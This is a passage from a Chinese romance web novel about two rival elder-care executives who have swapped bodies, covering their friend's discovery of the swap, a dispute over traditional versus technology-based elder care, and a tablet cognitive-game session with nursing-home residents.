但祁聿已经把合同拿去归档了,还说下午刘助就会着手送平板去桐馨的事。
这效率未免太高了些。
祁聿下午就回桐馨了。
走之前留给了她一个u盘,说如果她有时间可以看看里面的东西,神神秘秘的。
整个人还恍恍惚惚的,许暻想去茶水间弄杯咖啡醒醒神。
她之前上电梯的时候看到过图标,颐安的茶水间和餐厅是一整层,种类好像也挺丰富的。
下午的时间段,餐厅已经休息了,茶水间在最里边,许暻缓步往里走。
然而没走几步她就听见里面有人在闲话。
“你们今天看到了吗?桐馨的许总今天来了咱们这,还跟咱们祁总特别和谐!居然一点架都没掐!”
许暻一顿,脚步又放缓了些。
“我看到了!”一道男声有些兴奋道:“我上班的时候正好碰上他们,我当时都怀疑是我看错了!”
“咱们祁总也不知道是怎么了,突然邀请许总来颐安,不是前不久还闹得可凶了吗?”
混杂的议论声大多都充满着疑惑和不解,突然有道猜疑的声音传出:“你们说他俩不会是打着打着打出感情了吧?他们会不会在一起了?”
许暻差点被平底皮鞋给绊倒。
好在旁边是粗壮的墙柱,没让她平地摔。
“真的假的?他俩如果在一起也太荒谬了吧?”
“有什么荒谬的?说不定他俩只是看上去不合,私底下……”
许暻轻咳一声,打断了他们的闲话。
正在吃下午茶的员工也没想到突然会撞见祁聿,所有人同时闭上了嘴,悻悻颔首:“祁…祁总……”
许暻敛住神色,压低声音:“各位如果是躲在这里偷懒,那我是不是该重新分配一下工作量?”
“没有…祁总,我们马上走…马上走!”其中一个员工出来解围,给其他人使了眼色。
然后许暻就看到他们把盘子里的甜品一口塞进嘴里,喝完了咖啡,赶紧溜走。
等人都走了之后,她才松懈了刻意绷紧的身体,目光落在了种类繁多的甜品上。
她和祁聿在一起?
这些人还能不能想出一点更离谱的事情?
或许在很多年前,她还年少时,会对祁聿产生非分之想。但现在,自从他们背道而驰开始,就只能在对手的路上越走越远了。
她不可能会爱上一个和她理念相悖的人。
想到这里,许暻感觉内里好像涌上一阵苦涩,就像那天祁聿放在她面前的黑咖啡。
她连忙夹了一块甜品咬了一大半,那种涩味才被压了下去。
果然是他的身体,喝了那么多黑咖啡,不苦才怪呢。
许暻最后没喝咖啡。
回到办公室里,她感觉自己的情绪似乎不太对,但具体是怎么不对,她也不能说上来。
只觉得脑海中不断想起那杯黑咖啡的苦,苦香越来越浓,刚才吃的甜品完全失了作用。
她不想再下楼,只好让刘助帮她再去拿些甜品上来。
“祁总,您不是一向不爱吃甜食吗?”
刘助把四盘精致的甜品摆好,随口问了句。
许暻拿过一盘直接往嘴里塞,等那股畅快的甜意入喉,她终于好受了些。
“偶尔换换口味而已。”
……
一整个下午许暻的精神状态欠佳,在刘助的协助下她替祁聿签了几份文件。
虽说没那么开心,但没有了机器人的提案,心情也算不上特别坏。
许暻从来不是一个喜欢加班的人,成了祁聿也不例外,五点半的闹钟准时响起,她直接拿钥匙走人。
这几天在祁聿家都是点的外卖吃,她在想要不要买点菜自己回去做,但又不想洗碗。
纠结之后,许暻还是决定回去点外卖。
路程不算远,她刚停好车,祁聿恰好也到家了。
许暻瞥了他一眼,没打招呼,径直往电梯口走,注意力基本在手机上,在思考着晚上吃什么。
祁聿跟了上来,在她耳边突然出声:“今晚不用点外卖,晚餐有着落。”
许暻没回头,继续看:“如果是你下厨做呢,我不吃。”
她听见后面的人笑了声:“不是我做,先上楼。”
许暻不知道他在卖什么关子,半信半疑地等着电梯到了楼层。
被她一不小心抛在脑后的
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担忧重新被捡起,她看到了祁聿家门口那张熟悉的面孔。
宋楹也不知道在这里等了多久,看到两人一起回家,情绪终于有了着力点——
“你们俩真的一起回来啊?什么情况啊这是,我才出去了两个星期,你们发展速度这么快?!”
她瞪大了眸子,视线在两人身上来回窜行,不太愿意相信自己看到的画面,却又不得不相信。
许暻终于明白上午祁聿说的那句话是什么意思。
原来是这个“等着”。
加上宋楹脚边放着的特产礼盒,许暻也明白了他说晚饭有着落是什么意思。
忍住想掐死祁聿的冲动,许暻下意识想解释,却忘了此刻自己的身份。
“楹楹,事情不是你想的那样,我和他什么关系都没有!”
听见祁聿叫自己熟悉的称呼,宋楹脸上的表情更加精彩,“祁聿,咱俩虽然是很多年的老同学,但你这么叫是不是有点……”
“她是许暻。”
宋楹的话还没说完,祁聿在一旁冷不丁冒出这么一句。
“你是不是疯了?!”
许暻已经完全忍不住,瞬间把矛头转向祁聿。
始作俑者却满脸从容,好像心里早就有了底似的,根本不害怕。
祁聿的目光扫过许暻愤然的神色,侧了侧头:“她是你最好的朋友,你觉得我们能瞒住她?”
“可是你得跟我商量一下吧?就这么莫名其妙的事情一般人也不会信啊!”
许暻真的不知道祁聿到底想干什么。
还站在门口的宋楹脸上的表情变了又变,从惊讶到疑惑再到诧异,她好像明白了什么,又没完全明白。
担心两人在这里吵起来,宋楹适时打断:“你们先等等,不管发生了什么莫名其妙的事,你们先跟我说说,我再决定要不要信。”
许暻看向宋楹,又狠狠睨了一眼祁聿:“你拆穿的,你自己说!”
“先进屋。”祁聿开了门。
宋楹虽然知道祁聿家的地址,但也是第一次来。
和许暻第一次进来的时候一样,宋楹迟迟不能往里迈脚。
许暻伸手拉她进来,又重新拿了双拖鞋给她,嘴里还不忘吐槽:“你说他这人品味是不是特别差?这种猎奇的装修风格,我反正是第一次见。”
一屋子的亮色搭配,宋楹没忍住揉眼睛。
好不容易被劝着换了拖鞋,祁聿给两人倒了温水。
祁聿从头到尾都没打算瞒着宋楹,把整个事情的经过从头到尾说了个详细。
宋楹没有很快做声,端着水杯抿了一口又一口,在两人身上打量了一次又一次。
还是许暻没忍住,催促她道:“楹楹,你给点反应啊。”
宋楹被水呛了一下,咳嗽几声,不急不缓地放了杯子,两只手不停搓揉。
她清了清嗓,重新看向‘祁聿’,虽然皮囊确实是祁聿,但神色却带着许暻的味道,“所以你们…真的灵魂互换了?”
宋楹做着最后的确认,许暻无奈点头。
“这也太玄乎了。”
只是前一秒还在惊叹,后一秒宋楹就开始跑火车:“让你们俩灵魂互换,这月老是打算给你们牵红线啊?”
13. 氧气+13
许暻‘啧’了一声,两条腿撞了撞宋楹:“别瞎说啊你,说正经的!”
宋楹玩味地看了眼‘他’,在祁聿看不到的角度,她对着‘他’露出一个颇有深意的笑。
许暻知道她是故意的,轻轻睨她一眼。
宋楹终于收敛了些,重新坐直身子,继续他们灵魂互换的话题。
“那你们就打算这样住在一起?这还能换回来吗?”
祁聿没说话。
许暻也不确定到底能不能换回来,就她在网上搜到的那些办法,感觉没有一个靠谱的。
她想过如果还原当天的场景,会不会就换回来了,但她也控制不了天气。最近淮北没什么暴雨,更别提雷电了。
“说实话,我还真不知道能不能换回来。”许暻的语气有些无奈。
祁聿看了她一眼,手指悄悄的移到了腕上的手镯,轻轻摩挲。
宋楹又问:“你们那天有发生什么特别不对的事吗?就是完全跟当下那个场景不符的事。”
听她这么一说,许暻又重新回想。
那天他们先是在路上遇到那位老人,然后老人失控一直打他们,后来雨下得越来越大,还在打雷,她的头发被扯得很疼,但突然一下子,那种痛感好像莫名其妙就消失了,意识也越来越模糊……
她只听到了舒缓的钟声混杂在雨声里……
“我听到了一阵钟声!”许暻猛地坐直身子,“但我不知道是从哪发出来的。”
“钟声?”宋楹觉得奇怪。
只是不等两人继续,祁聿突然解开了她们的困惑:“那一段离林老板的古玩店不远,钟声或许是她店里的,毕竟那天我们也是在她回家的路上被发现的。”
还以为有点什么线索,结果只是巧合。
许暻又蔫了下去,“那就没什么其他的特别的事了。”
短暂的消停之后,宋楹突然又来了劲,只是话语又开始不着调。
她猛地拍了一下许暻的大腿,发出清脆的响声,突然有了灵感:“你们俩试过那种什么接吻没?电视剧里不总是经典套路吗?男女主灵魂互换换回来只需要一个甜蜜的kiss。”
她声情并茂地说着,脸上的表情也十分暧昧。
话音刚落,她的点子就被许暻干脆地否决:“宋医生,你电视剧看多了吧?作为一个医生,是不是得相信科学合理的办法?”
许暻强装着镇定,视线不太敢往祁聿那边瞟。
她有的时候也是十分拿捏不准她这个闺蜜,在外明明是一个理智冷静的医生,对内就是一个嘴上没把门的女逗比。
而且宋楹明明知道她和祁聿的关系,还知道她所有的秘密。这人就是喜欢看热闹。
她再一次确定,宋楹就是故意的。
然而宋楹是一个口技绝佳的女医生:“如果面对的事是科学的,那自然得用科学的办法对待,可灵魂互换这是不科学的玄幻事件,那当然不能用科学来解释了。”
她又捧起职业假笑:“更何况…许总,你也听说过一句话吧:医学的尽头是玄学。”
“……”
许暻自认说不过,只好保持沉默。
一直在旁边没什么话的祁聿突然迎合:“宋医生说得确实很有道理,这玄幻事件就得用玄学来解决。”
然后把目光转向许暻:“怎样许总,要试试么?”
许暻狠狠一僵,记忆偶然和那天的梦境重叠,梦里也是这一句话,他看到了她在手机上查的那些换回来的办法,笑着问她:“要试试么?”
封闭的胸腔内,心脏泵血的速度加快。耳边响起逐渐加重的心跳声,耳尖隐隐发烫,许暻用力咽了咽口水,一眼斜瞪过去:“不试!这种没有依据还存在概率性的办法,我不试!”
说完,右侧的手挪到耳后揉了揉,视线漫无目的地到处乱瞥。
许暻想要赶紧略过这个话题,她不想和祁聿之间存有这种尴尬的联系。
目光突然停在宋楹带来的特产上,她直接起身,尽量自然的开口:“我肚子饿了,先吃东西。”
宋楹瞥了一眼祁聿,还有些不习惯想象许暻的身体里是祁聿的灵魂,又看了一眼许暻,打算先终止这个话题。
她过去和许暻一起拆包装,还介绍着哪个更好吃,说这是她做足攻略、精心挑选的特产,而且还是许暻喜欢的甜辣口。
说起来也是巧合,许暻、宋楹和祁聿的口味都差不多,大学时期还有一个人,那会许暻和祁聿虽然也互相有意见,但也还算是相处和谐的朋友,当时他们四个人是经常约饭的关系。
读了研究生之后,许暻和祁聿选的是心血管病方向,宋楹选了脑病外科治疗与康复方向,祁聿也是从那个时期对计算机有了兴趣,繁忙的课程之余他又在私底下跟他母亲学计算机方面的知识。
约饭团体就此解散,偶尔见面时,许暻和祁聿最初还会就自己对养老服务的理解侃侃而谈,后来因为祁聿对科技养老的兴趣越来越浓,两人的分歧越来越重。
当时宋楹以为他们仍然是客观地讨论学术,直到亲眼见到两人见面就吵,互相呛怼、言辞犀利。
许暻的毒舌就是在和祁聿一次又一次的吵架中练出来的。
再后来,四个人变成了三个人,许暻和祁聿完全看彼此不顺眼,见面的次数少之又少,宋楹只记得偶尔祁聿的妈妈和许暻的爷爷会邀请他们三个人去家里吃饭,饭桌上两人的战火隐隐燃烧,只是顾及长辈在场,没有完全爆发。
祁聿的视线在‘自己’的背影停留了很长时间,他敛着神情,不知道在想些什么,腕上的镯子转了又转,最后终于起身,过去帮她们把东西拿到餐桌上。
久违的饭局,桌上堆满了特产,或许是觉得这些食物单调,祁聿又点了几份面食,还有奶茶。
宋楹是整个饭桌上的气氛调动者,这张嘴从头到尾就没停歇过。
忙着吃一会食物,又忙着说会话,问了许多问题。
焦点没有再聚集在两人灵魂互换上,而是谈起了他们的养老院。
宋楹是觉得,既然遇到了这个机会,何不试试转变,说不定多年的对决也能有另一种结局。
她建议道:“我觉得不如
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就趁这个机会,你们二位老总也尝个新鲜,重新感受一下这传统养老和科技养老的优缺点,那句话怎么说来着,没有永恒的对手,合作才能共赢。”
许暻掀起眸子,迅速扫过对面的祁聿,又低下头吸了口七分糖的奶茶,暂时没有开口。
祁聿倒好,开口就说了句她不爱听的:“这两天在桐馨我倒是感受到了…不太高的效率。”
宋楹的嘴角僵住,瞬间有种不太好的预感。
祁聿接着说:“就比如我那天给老人按摩,我发现所有做操作的人都花了大半的精力去和老人交谈,手上的动作并没有十分精准,本来应该是二十分钟的操作最后却需要半个小时才能结束,这样一天下来至少浪费一两个小时。”
“祁总,您以前上课的时候也学过吧,交谈能够放松心情,降低戒备心理,还能获得亲近感,这样的方式能让老人们更愿意把养老院当成是晚年的家,而不只是一个吃饭睡觉的地方。”许暻几乎是立刻反驳。
刚入口的奶茶都觉得不甜了,此刻她只有燃起来的火气,她咬重了字音:“而且,桐馨每天都按时按量完成了当天要做的一切工作,每位员工都能按时上下班,并没有浪费什么时间。”
说完,她话锋又从自己身上转到了祁聿身上:“我知道,颐安一向是只重效率而忽视感受的企业,冒昧地问您一下,您节约出来的时间是做了什么?是花了更多的钱去买更精密的摄像头来监视老人?”
许暻的话一冲上来,祁聿也跟着冲上来,他正欲辩解,宋楹却及时打断两人。
“停!”宋楹十分后悔给了提议,只好掐断弥漫在空气里的火星子:“二位,今天到此为止,不说了,结束这个话题好吗?”
两人隔空对视,又同时移开,一个眼里还有不服气,一个眼里布满了傲然,各不相让。
宋楹无奈叹了口气,好在饭吃得差不多了,她单独拉起许暻,想带她出门,临走前不忘对祁聿道:“我单独跟小暻说会话,一会送她回来,桌上的东西就麻烦你收拾了!”
……
敞亮的越野车内,宋楹在开车,车窗半开,带着冷意的风灌入,刺激了许暻稍许昏沉的脑子。
车载音乐舒缓地响起,躁动的心终于平静下来。
宋楹侧头瞥了许暻一眼,问:“气消了?”
许暻沉沉地吐了口气,双臂倔强地抱在一起,没有说话。
宋楹真的觉得神奇,虽然皮囊变了,但神态和习惯却怎么看都是许暻,都是她熟悉的样子。
她摇了摇头道:“我真不知道你们俩是怎么回事,现在都住在一起了,还能吵成这样。”
“这两者之间又没有什么必然联系,”许暻的头还望着窗外,语气闷闷的,“而且是他先挑的火。”
车子开向了前方的一条岔路,江水滚动的声音悄悄进入空气里,宋楹在路边停了车。
两人就坐在车里没下去,宋楹熄了火,解了安全带侧身过来。
现在没有祁聿在场,她的话也说得明白了些:“小暻,你跟我说实话,你现在还对他有感觉吗?”
14. 氧气+14
许暻的眼神中明显的逃避。
藏在双臂中的手悄悄握紧,她抿了抿唇,欲想开口,又止住了话语。
属于祁聿的喉结上下滚动,许暻犹豫再三,倔强回答:“没有!”
可她的表情一点不像没有,如果真的没有,也不会如此纠结。
“小暻。”宋楹捏住她的一只手,慢慢拉开了她紧扣的双臂,语重心长道:“你何必自欺欺人呢?你这么些年都没谈过恋爱是为什么难道你不记得了吗?”
许暻咬着唇,仍然不肯转过脸,她的脾气还是那样——
倔强、不肯低头。
她不是想在宋楹面前要面子,是不想从这张嘴里承认些什么。
“我没谈恋爱是没碰上合适的,和他有什么关系?”她闷闷地开口,心口又涌上熟悉的苦。
都怪祁聿,太爱喝黑咖啡。
宋楹也并不是想拆穿她,只是想让许暻好好面对这一切。
事情憋在心里,只会越来越膈应。
一直想着逃避,或许唯一的机会也没了。
“那我之前给你介绍我们院的医生,你明明跟人聊得来,为什么不继续发展?还有阿姨给你介绍的人,你也不见。”
“……”
许暻对祁聿的感情,在22岁以前更多的是欣赏,22岁以后就变成了讨厌。
她14岁认识祁聿,只因为那个时候她母亲和祁聿的母亲在一次聚会上认识,后来发现两个孩子是在一个学校,又因为家住得很近,经常约出来吃饭。
那个时候他们刚上高中,成绩不相上下,还都是年级里的尖子生,成绩单上总是互相追逐。
许暻觉得自己认识了一个很优秀的朋友。
后来两家人走动多了之后,祁聿父母忙的时候许爷爷会把祁聿一起带回家,给两个孩子做晚饭。
相处的时间多了,许暻和祁聿的交流也多了,虽然两人偶尔也会有争执、时常会较劲,但总是很快就过去了。
上大学之后,许暻觉得自己和他真的有缘,不仅选了同一个专业,甚至还分到了一个班。
因为两人本来相熟,刚开始上课的时候都是祁聿帮她占的位置,再加上和许暻一个寝室的宋楹。
大学里复杂繁多的课程,难懂的专业课让许暻时常焦虑,那个时候的祁聿还会说点人话,安慰她不用着急,还给她分享了一套整体思维的学习方法,教她从体循环、肺循环出发,逐步延伸。
她开始觉得这个人很靠谱、很聪明。
她开始欣赏这个人。
饭局多了之后,他们也会经常互开玩笑,常常互怼,但那都在适度的范围内。
只是那种对朋友的感情,在许暻心里不知道什么时候悄悄变了质。
他靠近时,她竟会没来由地心跳加速。
他的声音传入耳际时,她竟会觉得祁聿的声音好听得没有人能比得上。
他在她不舒服给她买饭时,她竟会生出一丝甜蜜的窃喜。
……
……
好几次的相会,许暻总是下意识地和他打起嘴仗,总是下意识地想和他交锋,想让他的注意力在她身上。
她觉得自己是对祁聿有了好感,至于是不是喜欢,她不确定。
再后来,两人吵嘴的次数多了,许暻觉得自己已经不太喜欢这种感觉,因为觉得祁聿没有给她面子。
于是她也开始不给祁聿面子,吵的嘴越来越凶,许暻开始怀疑,她并不是喜欢他,只是在某些方面对他存在好感而已。
研究生时期,课程更加繁重,加上各种组会,她已经无暇再去想过多的事情。
两人理念相悖,许暻觉得自己不能再对这个人产生好感。
欣赏的比重自此下降,讨厌悄悄占了上风。
她觉得自己克制住了。
直到现在,她依然倔强地这么认为。
但是宋楹问起这个问题,她真的不知道要怎么回答。
她不是不想发展,只是觉得和那些人相处时少了点什么,觉得她对那些人的感情甚至连欣赏都算不上。
“小暻,我不是想逼你做什么事,”宋楹搭着她臂弯的手轻轻晃了晃,“我只是希望你要么能走出来,去面对别人,可以投入另一段感情,要么就趁这一次机会,认清你的内心。”
都说当局者迷,旁观者清。
宋楹是见证者,也是最了解许暻的人。
她明明喜欢祁聿,却不愿意承认。
之所以讨厌,是因为和她不同的理念,是因为两个人都太坚持自我,更是许暻为自己找的借口。
喜欢不一定能发展长久,讨厌却能。
他们明明有无数次不再往来的机会,却总是又莫名其妙地撞到一起。
听完宋楹的话,许暻沉默了很久很久。
车内安静了好一会儿,只有冷风不停往脖子里灌。
许暻被吹得眼睛有些发酸,她看到后视镜里的那张面孔,是完全褪去青涩的‘他’,是她讨厌的‘他’。
她重新凛神,依旧坚持自我,十分坚决地否认:“什么走不出来,我真的只是还没遇到合适的人而已,至于我的内心,我知道我在想什么。”
许暻停顿了两秒,移开目光,不愿意再看后视镜里的‘他’,语气认真:“欣赏他、对他有好感,那都是以前的事了,现在的许暻,只会讨厌祁聿。”
宋楹看着并不属于许暻的后脑勺,却透着和许暻一样的倔强,她明白说什么话都不管用了。
她说再多也不如许暻自己想明白。
宋楹尊重许暻的想法,没再劝说。
她又下了车,不知道是去做什么。
回来时,手里已经拿了一串冰糖葫芦。
她扒在副驾驶座的窗外,换上了寻常那副笑嘻嘻的面容,把糖葫芦送到许暻嘴边。
宋楹‘啊’了一声,温声细语道:“别不开心了,吃一个,甜的。”
透红的冰糖裹着新鲜的山楂球,许暻一贯吃软不吃硬,况且宋楹专门哄她,她不会不给面子。
一整颗山楂球含入嘴中,细腻的甜味瞬间包裹了情绪,甜意沁入,往里蔓延。
许暻终于开心了。
之后宋楹把她送回了祁聿家,又嘱咐她别多想,回去好好睡一觉。
许暻不想让她担心,点了点头,看着她离开之后才进电梯。
-
许暻进门时,祁聿正在沙发上
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坐着。
听见门口的响动,他几乎是立刻看过来。
有一瞬间的视线相撞,许暻却迅速低下头,什么话也没说。
祁聿却走了过来。
他靠在吧台边,等着她换鞋。
许暻注意到身前的人影,刻意放缓了动作,那道身影却一直不动。
无奈,只好面对。
她坐在长凳上,被迫抬头。
视线重新交汇。
许暻莫名有些紧张。
她正欲开口问他做什么,他已经先她一步。
“抱歉,刚才在餐桌上的话,是我的表达有问题。”
许暻没说话,只觉得喉咙突然一阵干涩,又觉得祁聿是在抽风。
然而他的语气很认真,继续解释:“我只是想说,如果可以在本应该完成的时间内完成那些操作,剩下的时间老人就可以做些其他的事情,但如果想浪费…也不是不可行。”
许暻依然沉默。
他又一次说抱歉了,难道灵魂互换真的有性格转变的功能?
低沉的情绪像是被推入一颗火苗,渐渐明媚。心口一股畅意,许暻的舌头轻轻抵了抵上颌:“哦……”
两只手来回搓弄,稍稍不知所措。
祁聿似乎在观察着她的反应,确认她不再开口之后又说:“明天我会在养老院教老人们怎么练习益智游戏,你要不要过来?”
语气虽然算不上有多么温柔,但比之前那种冷淡的态度要好得多。
“顺便……”祁聿似乎有些难以开口,一句话在嘴里酝酿了好久:“许总是不是也应该带我顺一遍每天要做些什么事?”
许暻不知道他这算不算是一种示好。
心里快意滋生,不知道是不是刚才吃了那一串冰糖葫芦的作用——
她觉得很甜。
许暻无声点了点头。
然后看到那张她再熟悉不过的脸上露出些喜色。
不知怎的,她也跟着笑了笑,冰糖融化的甜意也更深了。
……
许暻是下午回桐馨的,这事她只跟刘助一人说了。
虽然刘助对此十分震惊,但有了上一次‘许暻’来颐安的前路,一切好像也没那么匪夷所思了。
刘助原本是打算跟着一起来的,却被许暻拒绝。
一来带着他过来不是很方便,二来医院那边已经来消息,说那位奶奶的病情已经控制得差不多了,可以进入养老院,所以她让刘助去提前准备房间和护理员了。
巧的是她回自己的办公室的时候又一次撞上副院长。
“祁总?”易玲见祁聿出现在这里仍觉得稀奇。
以前只有老院长在的时候能见到祁聿,许暻接任以后就再也没见过。
这几次他倒是来得频繁,易玲不由猜想:“来找小暻的?”
许暻礼貌笑了笑:“对,我是来找她,这会你们按摩应该也结束了吧?”
闻言,易玲更觉得惊奇:“你连我们今天下午按摩都知道了?”
意识到自己失言,许暻心口一滞,尴尬笑笑。
正想着怎么圆过去,身后突然响起熟悉的声音:“是我有事要找祁总谈,提前跟他说过了。”
15. 氧气+15
易玲侧头看到过来的人,脸上的疑色全消。
对于许暻的事,她一向不多掺和。
了然之后,她进了自己的办公室。
许暻终于松了口气。
敞亮的办公室内,许暻径直走到她的办公桌前,十分想念在这里工作的日子。
说到底在她心里,还是桐馨让她更舒服。
祁聿在水池边洗完手之后跟着过来,脸上挂着不太明显的疲意。许暻从最下面的抽屉里拿了她的记事本出来,没有打开,直接交由祁聿。
“这里面就是我作为院长大概要完成的事,还有院里老人的一些喜好,事情算不上复杂,只是有些繁琐。”她解释道。
祁聿站在桌前,不紧不慢地翻开记事本,刚入眼的笔迹却让他稍稍一顿——
除了一些标准、原则是被打印出来贴上去的,剩下的几乎全是许暻手写上去的。
另外祁聿没想到的是,许暻还会亲自监督老人吃药、吃饭,甚至还有一项条例,是在每个月的最后一天给每一位老人留下一张照片。
下方还有一行小字:要尽量做到让照片里的老人都是发自内心地笑。
工作内容确实不算多,除了参加论坛、例会以及科研项目之外,她的工作重心就是养老院内每天的医疗护理与照料。
就像是院内的每一个护理员一样,‘院长’只是一个头衔罢了。
再往后看,记事本有一页是分界线,后面记录着院内每一位老人的喜好和生日。
祁聿记得,在后院有一面很大的生日墙,上面已经贴上了许多照片。
他匆匆瞥过一眼,记住的照片里,好像每个老人面前都放了一个小蛋糕。
她居然比许爷爷做得还要用心。
祁聿觉得奇怪,这一次他居然没有觉得这样不好。
以前他认为,传统的养老方式总是会出现很多弊端,因为人是会有惰性的,而且医疗行业的白夜班交替,总会有疲惫的时候,这样的情况下会大大提高护理的风险。
倘若配备有更精密的机器,用科技替代人力,养老的质量就会有提升。
从接触过计算机之后,他创新的想法就越来越深,更觉得当下时代的发展,科技养老就是未来的趋势。
而他也算是遇到了事业里的贵人,研究生实习时,导师介绍他去颐安实习,颐安的老董对他的创意十分欣赏,也非常愿意给他机会尝试。
加上毕业的时间,他不过三年多,就坐上了CEO的位置,虽然在这个位置上坐的时间不算长,但他已经为颐安带来了巨大的经济效益与不错的口碑。
所以祁聿一直觉得自己的想法是对的——
科技养老迟早会取代传统养老。
然而许暻却一直坚守着传统养老。
他曾经试图劝说她,只是理念无法屈服于她,最后换来的是双方僵持的结局。
记忆里也是因为他们的理念不一开始,关系变得越来越差。
许暻见祁聿一直盯着记事本的那一页半天不说话,像是在发呆,神色稍显凝重,不知道在想些什么。
许暻推了推他,平静的面容下隐隐透着一丝紧张:“我写的东西有这么无聊?发什么呆啊?”
祁聿稍稍一激灵,视线缓缓移向许暻,短暂的停留之后,他摇摇头:“不,你写得很好。”
闻言,许暻先是怔了两秒,瞳仁在眼眶里愣愣地转了几下,有些语塞,她下意识憋了两秒气,又快速呼出来。
印象里,祁聿鲜少对她有夸赞。
尤其是工作之后。
还没来得及等她做出反应,祁聿合手关上记事本,拿在许暻跟前晃了晃:“放心,我会尽量按照你的要求,完成你的工作。”
这句话在祁聿看来是一句保证,但许暻却听出了点不一样的味道。
意识习惯性地想与他较劲。
他如果能做好她的工作,她也要做好他的工作才行。
不然岂不是会落他一截?
不过她此时此刻没忘了今天下午的任务。
抬手看了眼腕表,许暻站起身:“去活动室吧?”
祁聿嗯了一声,给许暻也拿了一件白大褂。
养老院能够活动的老人们都已经在活动室里候着,易玲和值守的医生和护士站在前面,准备给老人发放平板。
许暻跟在祁聿身后,看着他十分认真的神色,她恍然有一种和他并肩作战的感觉。
等祁聿站在最中心的位置,让医护人员和护工先给老人发放了平板,每一位老人身边都必须站着一个医护人员或护工。
颐安专门为老人设计的平板非常好开,简单按下开关键便能跳转到主页面,而主页面上也只有一个横向的按钮模块,点进去就是益智游戏。
游戏的主页面里一共四个模块,分别对应记忆力、注意力、反应力和执行力。
一般都是从记忆力练起。
“请每一位医护人员或者护工协助各位老人自己点开记忆力练习的按钮,然后根据每一个关卡上方的提示词进行练习,如果有老人不识字务必解释给老人听,以便进行有效练习。”
许暻放开声音,一字一句吐清,尽量让每个人都能听明白。
现在她是以祁聿的身份来教老人们试玩,作为原产品方,自然得显得专业一些。
完全不识字的老人只在少数,大部分老人能够看明白大字平板上的文字,少部分需要协助理解。
流程顺利往下进行,其实也没有特别需要教的,因为如何做都有清楚的提示。
只是各位老人都是第一次接触,老年人的认知能力不比青、中年人,要熟悉并不是一时半会的事。
祁聿转头对许暻道:“我们分两条,你看这一条,我看那一条,解决老人在试玩过程中出现的问题。”
“好。”许暻这一次很快应承。
这个游戏祁聿是提前发过来让养老院所有的医护人员提前熟悉过的,所以基本没有出现问题。
祁聿这一条都没什么问题,在最后一个老人那边多留了一会。
老人试玩得很开心,觉得很有意思,几乎是全身心投入,也不需要人协助。
她看到‘许暻’过来,恰好第三关卡已经结束,抽空对‘许暻’说:“小暻,你新弄的这个玩意我喜欢!”
祁聿弯了弯唇,看着她继续。
老人身旁的王医生也得空,她先是抬头看了眼对面的‘祁聿’,然后又好奇地小声问身边的‘许暻’:“小暻,你怎么开始跟祁总合作了?而且他居然还愿意亲自过来一起教咱们的老人试玩。”
祁聿沉默片刻,嘴角噙起很浅的一抹弧度,视线绕过面前的遮挡,落在对面正弯腰协助老人试玩的人身上。
两秒后又收回视线,对王医生笑了笑,嗯了一声,眉峰上挑,刻意压低声音,语调稍稍上扬,有些像开玩笑:“他喜欢我,所
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以把我感兴趣的产品爽快卖给了我们。”
王医生完全愣住了,似乎是怎么想也没想到是这个答案。
没有完全信,但又信了大半。
他们不是外面疯传的死对头吗?
现在许暻却说祁聿喜欢她?!
这对吗?
可如果不是这个解释,祁聿为什么会把他们的产品卖给许暻?而且还送了足量的老年人专用平板,甚至在教学的时候出现在了桐馨。
祁聿看到王医生脸上露出惊愕的神情,又咽了咽口水,她好像想说什么,但迟迟没有开口。
他也重新站起身,若无其事地走到许暻那边。
许暻正蹲在李奶奶身边,陪着她玩。
李奶奶本就外向,而且话也比较多,手上在动着,嘴也不愿意闲下来。
“你看看我这玩得对不对嘛?”老人的语调自带着江南的侬软,亲近的口音里又有些撒娇的味道。
许暻平时也很喜欢陪李奶奶聊天,她笑着回答:“对的李奶奶,您还是一如既往地聪明!”
李奶奶脸上的笑意更甚,空当的时间她抬眼扫了眼‘祁聿’,“你不愧是咱们小暻找来的人,和咱们小暻一样招人喜欢!”
李奶奶身边的护士也一直在看‘祁聿’。
“小伙子,我看你长得也挺不错的,有没有女朋友啊?”李奶奶又问。
提及此,许暻意识到不太妙,赶紧回避了问题,提醒李奶奶下一关已经开始,转移了她的注意力。
然后起身接着往后走。
刚转身,她迎面撞上祁聿。
她又莫名心虚。
目光匆匆掠过祁聿,她又俯身去看张大爷的情况。
祁聿跟着她一起,他们的注意力像是真的只在老人身上,但周围的医生护士却时不时瞟他们一眼。
试玩的时间不算长,十五分钟之后,许暻就让他们停了下来。
按照祁聿提前告诉她的,她又复述了练习益智游戏的时间和方法。
老人们和所有的医护人员、护工也都相当配合。
结束之后,差不多到了下班时间。
许暻说看在祁聿帮她的份上请他吃饭。
反正两人是要一起回家的,吃个饭也再好不过。
两人在去停车场的路上碰到了几个来上夜班的医生护士,礼貌招呼过后,还没弄清状况的医护面面相觑。
在许暻和祁聿都不知情的背后,医护值班室里掀起了一阵小浪花。
王医生添油加醋地复述了今天下午‘许暻’的话,几乎每个人的脸上都挂着不可思议。
护士小刘十分诧异:“真的假的?不会真的是敌对出感情了吧?”
护士小安顺着王医生的话接着说:“我觉得这事就是真的!今天下午祁总在陪李奶奶一起玩那个益智游戏,你们知道他怎么说吗?说李奶奶还是一如既往地聪明!这不就是和咱们小暻接触多了才能把话说得这么自然吗!”
“真的呀?那小暻是不是要脱单了?你们说他俩能处得长久吗?”
“还真没准儿,你们想啊以前老院长在的时候祁总不也来过咱们这吗?他和小暻也认识好多年了!”
“啧啧啧,几年的死对头变情人,真是不得了!”
……
……
祁聿以为许暻说的请他吃饭是只有他们俩。
在餐厅门口遇到宋楹,他才知道自己想多了。
16. 氧气+16
许暻兴奋地朝着宋楹挥手:“楹楹!”
祁聿沉默了一会,轻轻吐出一句话:“……我还以为许总真打算请我吃饭。”
语气听上去算是正常,嘴角却往下撇了撇。
动作持续的时间很短暂,许暻根本没看到。
她不以为然解释:“是请你吃饭啊,叫上楹楹一起热闹嘛。”
祁聿跟着她往前走,顺嘴和宋楹打了招呼。
他仍存不解,眉头蹙了蹙,跟着服务员一起去餐位的几步路里又问:“你的手机不是在我这吗?你们怎么联系的?”
几个人落座,许暻和宋楹坐在一边,嫌弃地把手上点菜的平板递给祁聿。
“我的手机在你那,我用你的手机不就好了?”
祁聿明显被呛了一下,又若无其事把平板递了回去,说让她们点,他基本都吃。
宋楹的目光又在两人身上来回辗转,许暻则是全身心投入平板上丰富的菜肴中。
她听见宋楹故意调侃,手里还拿着两只筷子反复摆弄,有几分看戏的味道。
“二位又和好了?”
话音刚落,许暻已经把平板送到了她面前,止住了话题的继续:“加菜。”
